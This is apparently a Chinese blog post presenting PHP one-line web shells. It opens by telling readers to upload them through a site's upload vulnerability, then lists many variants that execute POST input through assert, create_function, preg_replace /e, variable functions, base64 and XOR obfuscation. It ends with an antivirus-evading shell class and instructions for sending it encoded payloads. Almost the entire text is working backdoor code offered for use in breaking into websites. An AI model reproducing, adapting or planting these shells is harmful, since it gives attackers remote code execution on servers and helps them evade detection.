文章目录

初始的一句话木马create_function函数call_user_func函数preg_replace函数file_put_contents函数PHP变量函数PHP可变变量str_replace函数base64_decode函数"."操作符运算符变形

初始的一句话木马

找到具有上传漏洞的站点,将该脚本上传,并访问。发现是一片空白,可以说明该木马能被解析。

create_function函数

$fun = create_function('',$_POST['juminfo']);

$fun();

?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

call_user_func函数

@call_user_func(assert,$_POST['juminfo']);

?>

call_user_func这个函数可以调用其它函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

preg_replace函数

@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");

?>

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

file_put_contents函数

$test='';

file_put_contents("hello.php", $test);

?>

使用方法:先用浏览器访问,生成新的文件"hello.php",再连接"hello.php"。

利用函数生成文件,第一个参数是文件名,第二个参数是文件的内容。

PHP变量函数

$a = "assert";

$a(@$_POST['juminfo']);

?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

PHP可变变量

$bb="assert";

$a="bb";

$$a(@$_POST['juminfo']);

?>

通过上一个语句进行的多一层变化:$$a =

(

(

(a) = $ (‘bb’) = $bb = “assert”

str_replace函数

$a=str_replace("juminfo", "", "assjuminfoert");

$a(@$_POST['juminfo']);

?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。

base64_decode函数

$a=base64_decode("YXNzZXJ0")

$a($_POST['juminfo']);

?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

"."操作符

$a="as"."s";

$b="er"."t";

$c=$a.$b;

$c($_POST['juminfo']);

?>

运算符变形

@$_++;

$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");

$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");

${$__}[!$_](${$___}[$_]);

?>

用echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。

只要我们将0赋值为assert就可以构成经典的一句话,密码是1。

免杀php一句话

class VONE {

function HALB() {

$rlf = 'B' ^ "\x23";

$fzq = 'D' ^ "\x37";

$fgu = 'h' ^ "\x1b";

$sbe = 'R' ^ "\x37";

$gba = 'H' ^ "\x3a";

$oya = 'Y' ^ "\x2d";

$MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya;

return $MWUC;}function __destruct() {

$RNUJ = $this->HALB();

@$RNUJ($this->HY);}}

$vone = new VONE();

@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];

?>

使用说明

是否传入id参数决定是否把流量编码

http://www.xxx.com/shell.php

POST: mr6=phpinfo(); //与普通shell相同

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)

POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码

参考

铭说 | 一句话木马的多种变形方式

上传一句话木马时

免杀PHP一句话

精彩内容

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: